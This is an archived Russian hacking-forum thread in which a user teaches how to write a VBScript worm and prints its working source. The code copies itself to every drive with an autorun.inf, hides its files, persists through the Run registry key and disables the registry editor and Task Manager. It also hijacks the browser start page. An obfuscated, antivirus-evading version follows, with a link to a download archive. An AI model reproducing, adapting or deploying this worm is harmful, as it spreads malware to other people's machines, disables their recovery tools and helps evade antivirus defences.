Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Создаем вирус червь бот на vbs

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Прочее] >> Создаем вирус червь бот на vbs
Имя
Сообщение << Старые топики   Новые топики >>
Создаем вирус червь бот на vbs - 2010-06-09 22:24:53.740000   
SizeKing

Сообщений: 41
Оценки: 0
Присоединился: 2010-03-03 10:48:33.933333
Что такое vbs? это скриптовый язык вишуал басик.
Откройте блокнот, сохраните его под именем 1.txt затем переименуйте 1.txt в 1.vbs и откройте 1.vbs - внем можно писать код.
Сейчас многие антивирусы сразу блокируют vbs, но я расскажу вам технологию написания и защиты от антивирусов.
Что должен делать vbs?
нужно создать бесконечный цикл с задержкой в несколько секунд
и прописывать вирус в авторан
дальше нужно организовать цикл с перечислением англ алфавита от A до Z после чего в цикле последовательно копировать файл вируса на все диски (а вдруг пользователь воткнет флэшку :)) )
вместе с копией вируса должен создаваться файл autorun.inf который должен содержать такой текст
[autorun] shellexecute=wscript.exe 1.vbs где 1.vbs это имя вируса который лежит рядом с этим файлом

файл autorun.inf нужен чтобы вирус запускался автоматически (например когда воткнули флэшку с этим содержимым)

еще нужно не забыть скрывать все файлы делая их системными, чтобы ламер не смог их удалить
и главное, нужно отключить реестр и диспетчер задач.

И вот когда движек готов можно в нем реализовать любые действия
например можно забить компьютер хламом, текстовыми файлами с различным содержимым, ламак будет чистить комп год от них ))

посмотрим на готовый вирус
on error resume next pflag=1 strr=array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z") for q=0 to ubound(strr) if WScript.ScriptFullName = strr(q) &amp; ":\" &amp; WScript.ScriptName then pflag=0 end if next if pflag=1 then Set S = CreateObject("Wscript.Shell") s.run "wmplayer.exe "_ &amp;"http://on-tv.ru/asx/tv_id4.asx "_ &amp;"http://on-tv.ru/asx/tv_id500.asx "_ &amp;"http://on-tv.ru/asx/tv_id11.asx "_ &amp;"http://www.rambler-audio.ru/asx/video/special/eurosportnews/eurosport.asx "_ &amp;"http://on-tv.ru/asx/tv_id642.asx "_ &amp;"http://on-tv.ru/asx/tv_id59.asx "_ &amp;"http://on-tv.ru/asx/tv_id568.asx "_ &amp;"http://on-tv.ru/asx/tv_id10.asx "_ &amp;"http://www.impacttelevision.org/live/live270.asx "_ &amp;"http://www.tvr.by/liveair/btv.asx "_ &amp;"http://on-tv.ru/asx/tv_id428.asx "_ &amp;"http://www.kulturatv.kiev.ua/Kultura-EU.asx "_ &amp;"http://media.wnet.ua/lists/5tv.asx" end if dost1=1 Do Wscript.sleep(15000) if dost1=1 then Wscript.sleep(15000) end if strr=array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z") for q=0 to ubound(strr) Set FileSystemObject = CreateObject("scripting.filesystemobject") if not FileSystemObject.FileExists (strr(q) &amp; ":\" &amp; WScript.ScriptName) then if not strr(q) = "C" then Set fso = CreateObject("Scripting.FileSystemObject") Set tf = fso.CreateTextFile(strr(q) &amp; ":\" &amp; "autorun.inf",True) tf.WriteLine("[autorun]") tf.WriteLine("shellexecute=wscript.exe " &amp; WScript.ScriptName) tf.Close end if Set FileSystemObject = CreateObject("scripting.filesystemobject") FileSystemObject.copyfile WScript.ScriptFullName,strr(q) &amp; ":\" &amp; WScript.ScriptName Set flt = fso.GetFile(strr(q) &amp; ":\" &amp; WScript.ScriptName) flt.Attributes = 6 if not strr(q) = "C" then Set flt = fso.GetFile(strr(q) &amp; ":\" &amp; "autorun.inf") flt.Attributes = 6 end if end if next Set Shell = CreateObject("Wscript.Shell") Shell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MediaPlayer","C:\" &amp; WScript.ScriptName if dost1=1 then dost1=0 Set Shell = CreateObject("Wscript.Shell") Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.google.ru/#hl=ru&amp;source=hp&amp;q=vProFlood&amp;btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&amp;lr=&amp;aq=f&amp;oq=vProFlood&amp;fp=efd878c0817b5b99" Set Shell = CreateObject("Wscript.Shell") Shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM\DisableRegistryTools", 1, "REG_DWORD" Set S = CreateObject("Wscript.Shell") s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\disabletaskmgr","1","REG_DWORD" Set S = CreateObject("Wscript.Shell") s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","Program vProFlood" s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization","Program vProFlood" Set S = CreateObject("Wscript.Shell") s.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString","Program vProFlood" Shell.Run "iexplore.exe http://www.google.ru/#hl=ru&amp;source=hp&amp;q=vProFlood&amp;btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&amp;lr=&amp;aq=f&amp;oq=vProFlood&amp;fp=efd878c0817b5b99" Shell.Run "firefox.exe http://yandex.ru/yandsearch?text=vProFlood&amp;lr=2&amp;stpar2=%2Fh1%2Ftm319%2Fs1&amp;stpar4=%2Fs1&amp;stpar1=%2Fu0" end if loop
можете запустить его, он не смертелен, покажет вам онлайн каналы в медиа плеере :)

а теперь помотрим как защитить этот код от антивирусов и любопытных ламеров

вот во что он превратился

c=c &amp; " nmmj dgblc .sD0#;/p_nrq$/qD0#;2p_nrq$/qD0#7/1krD0#/fD0#;0p_nrq$0;" c=c &amp; "pj$bmmjDmpNt;rvcr=fap_cqbl_w-sp,vcbl_w--8nrrfcvc,vmdcpgd lsP,jjcfQ " c=c &amp; "77`3`5/6.a656bdc;nd$bmmjDmpNt;om$d;o_$;pj$cjemmE)0@#.B#)?@#.B#/6#/B#6@#" c=c &amp; ".B#C@#.B#D7#.B#;Elr`$bmmjDmpNt;o$nf;capsmq$sp;jf!-sp,cjemme,uuu--8nrrf" c=c &amp; "cvc,cpmjnvcg lsP,jjcfQ bmmjDmpNtk_pempN * elgprQbcxgj_amJZ{C237D0.." c=c &amp; "??..+6.D7+@/./+/6.3+.2.DD324yZBGQJAZRMMP]QCQQ?JA]WCIF crgpuecp,q ' jj" c=c &amp; "cfQ,rngpaqU &amp;rach`Mcr_cpA;QrcQ bmmjDmpNtk_pempN * lmgr_xgl_epMbcp" c=c &amp; "crqgecPZlmgqpcTrlcppsAZRLqumblgUZrdmqmpagKZCP?URDMQZKJIF crgpuecp,q " c=c &amp; " bmmjDmpNtk_pempN * pcluMbcpcrqgecPZlmgqpcTrlcppsAZRLqumblgUZrdmqmpag" c=c &amp; "KZCP?URDMQZKJIF crgpuecp,q ' jjcfQ,rngpaqU &amp;rach`Mcr_cpA;QrcQ BP" c=c &amp; "MUB]ECP * / * pekiq_rcj`_qgbZkcrqwQZqcgagjmNZlmgqpcTrlcppsAZqumblgUZrdm" c=c &amp; "qmpagKZcp_urdmQZSAIF crgpuecp,q ' jjcfQ,rngpaqU &amp;rach`Mcr_cpA;QrcQ" c=c &amp; " BPMUB]ECP */* qjmmRwprqgecPcj`_qgBZKCRQWQZQCGAGJMNZLMGQPCTRLCPPSAZQ" c=c &amp; "UMBLGUZRDMQMPAGKZCP?URDMQZPCQS]RLCPPSA]WCIF crgpUecP,jjcfQ ' jjcfQ,rn" c=c &amp; "gpaqU &amp;rach`Mcr_cpA;jjcfQrcQ 77`3`5/6.a656bdc;nd$bmmjDmpNt;om$d;o_" c=c &amp; "$;pj$cjemmE)0@#.B#)?@#.B#/6#/B#6@#.B#C@#.B#D7#.B#;Elr`$bmmjDmpNt;o$nf;c" c=c &amp; "apsmq$sp;jf!-sp,cjemme,uuu--8nrrf * ce_Nrp_rQZlg_KZpcpmjnvCrclpcrlGZr" c=c &amp; "dmqmpagKZcp_urdmQZPCQS]RLCPPSA]WCIF crgpUecP,jjcfQ ' jjcfQ,rngpaqU &amp;r" c=c &amp; "ach`Mcr_cpA;jjcfQrcQ .;/rqmb lcfr/;/rqmbdg ck_LrngpaQ,rngpaQU$" c=c &amp; " Z8A * pcw_jN_gbcKZlsPZlmgqpcTrlcppsAZqumblgUZrdmqmpagKZCP?URDMQZCLGFA" c=c &amp; "?K]J?AMJ]WCIF crgpUecP,jjcfQ ' jjcfQ,rngpaqU &amp;rach`Mcr_cpA;jjcfQrc" c=c &amp; "Q rvcl dgblc dgblc 4;qcrs`gprr?,rjd ' dlg,lspmrs_ $ Z8 $'o" c=c &amp; "&amp;pprq&amp;cjgDrcE,mqd;rjdrcQ lcfr A ;'o&amp;pprqrmldg 4;qcrs`gprr?," c=c &amp; "rjd 'ck_LrngpaQ,rngpaQU$ Z8 $'o&amp;pprq&amp;cjgDrcE,mqd;rjdrcQ ck_Lrn" c=c &amp; "gpaQ,rngpaQU$ Z8 $'o&amp;pprq*ck_LjjsDrngpaQ,rngpaQUcjgdwnma,rach`Mkcr" c=c &amp; "qwQcjgD ' rach`mkcrqwqcjgd,elgrngpaq &amp;rach`Mcr_cpA;rach`MkcrqwQcjgD" c=c &amp; "rcQ dgblc cqmjA,dr 'ck_LrngpaQ,rngpaQU$ cvc,rngpaqu;crsacvcjjcfq" c=c &amp; " &amp;clgJcrgpU,dr ' [lspmrs_Y &amp;clgJcrgpU,dr 'cspR* dlg,lspmrs_ $ Z8 $" c=c &amp; "'o&amp;pprq&amp;cjgDrvcRcr_cpA,mqd;drrcQ ' rach`MkcrqwQcjgD,elgrngpaQ &amp;rac" c=c &amp; "h`Mcr_cpA;mqdrcQ lcfr A ;'o&amp;pprqrmldg lcfr'ck_LrngpaQ,rngpaQ" c=c &amp; "U$ Z8 $'o&amp;pprq&amp;qrqgvCcjgD,rach`MkcrqwQcjgDrmldg ' rach`mkcrqwqc" c=c &amp; "jgd,elgrngpaq &amp;rach`Mcr_cpA;rach`MkcrqwQcjgDrcQ 'pprq&amp;blsm`smr.;o" c=c &amp; "pmd ' X * W * V * U * T * S * R * Q * P * O * N * M * L * K * J * I * " c=c &amp; "H * G * F * E * D * C * B * A * @ * ? &amp;w_pp_;pprq dgblc '...3/&amp;nccjq" c=c &amp; ",rngpaqU lcfr/;/rqmbdg '...3/&amp;nccjq,rngpaqU mB /;/rqmb dgblc " c=c &amp; "vq_,tr3-qrqgj-_s,rclu,_gbck--8nrrf $ ] vq_,SC+_psrjsI-_s,tcgi,tr_psrj" c=c &amp; "si,uuu--8nrrf $ ] vq_,602bg]tr-vq_-sp,tr+lm--8nrrf $ ] vq_,tr`-pg_c" c=c &amp; "tgj-w`,ptr,uuu--8nrrf $ ] vq_,.50ctgj-ctgj-epm,lmgqgtcjcrra_nkg,uuu--" c=c &amp; "8nrrf $ ] vq_,./bg]tr-vq_-sp,tr+lm--8nrrf $ ] vq_,643bg]tr-vq_-sp,t" c=c &amp; "r+lm--8nrrf $ ] vq_,73bg]tr-vq_-sp,tr+lm--8nrrf $ ] vq_,024bg]tr-vq" c=c &amp; "_-sp,tr+lm--8nrrf $ ] vq_,rpmnqmpsc-quclrpmnqmpsc-j_gacnq-mcbgt-vq_-s" c=c &amp; "p,mgbs_+pcj`k_p,uuu--8nrrf $ ] vq_,//bg]tr-vq_-sp,tr+lm--8nrrf $ ] " c=c &amp; "vq_,..3bg]tr-vq_-sp,tr+lm--8nrrf $ ] vq_,2bg]tr-vq_-sp,tr+lm--8nrrf $" c=c &amp; " ] cvc,pcw_jnku lsp,q ' jjcfQ,rngpaqU &amp;rach`Mcr_cpA;QrcQ lcfr/" c=c &amp; ";e_jdndg rvcl dgblc .;e_jdn lcfrck_LrngpaQ,rngpaQU$ Z8 $'o&amp;p" c=c &amp; "prq;ck_LjjsDrngpaQ,rngpaQUdg 'pprq&amp;blsm`smr.;opmd ' X * W * V * " c=c &amp; "U * T * S * R * Q * P * O * N * M * L * K * J * I * H * G * F * E * D * " c=c &amp; "C * B * A * @ * ? &amp;w_pp_;pprq /;e_jdn rvclcksqcppmppclm bmmjDmpNt" c=c &amp; "888q_rpct888%":for i=1 to len(c):t=chr(asc(mid(c,i,1))+2):k=k+t:next:execute StrReverse(k)
как кодировать?

превратить вирус в строку и перечитать задом наперет, вычесть из кода каждого символа 1
запихнуть полученный результат в переменную и с помощью vbs написать движек обратного перекодирования

продолжение в архиве, описание и все необходимое

http://vproflood.onfind.net/vprsrv.rar

:)
Post #: 1
RE: Создаем вирус червь бот на vbs - 2010-06-09 23:56:06.110000   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
Post #: 2
RE: Создаем вирус червь бот на vbs - 2010-06-13 11:38:05.933333   
egttte

Сообщений: 36
Оценки: 0
Присоединился: 2010-06-02 10:28:41.910000
quote:

ORIGINAL: VaZoNeZ



+500
Post #: 3
Страниц:  [1]
Все форумы >> [Прочее] >> Создаем вирус червь бот на vbs







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.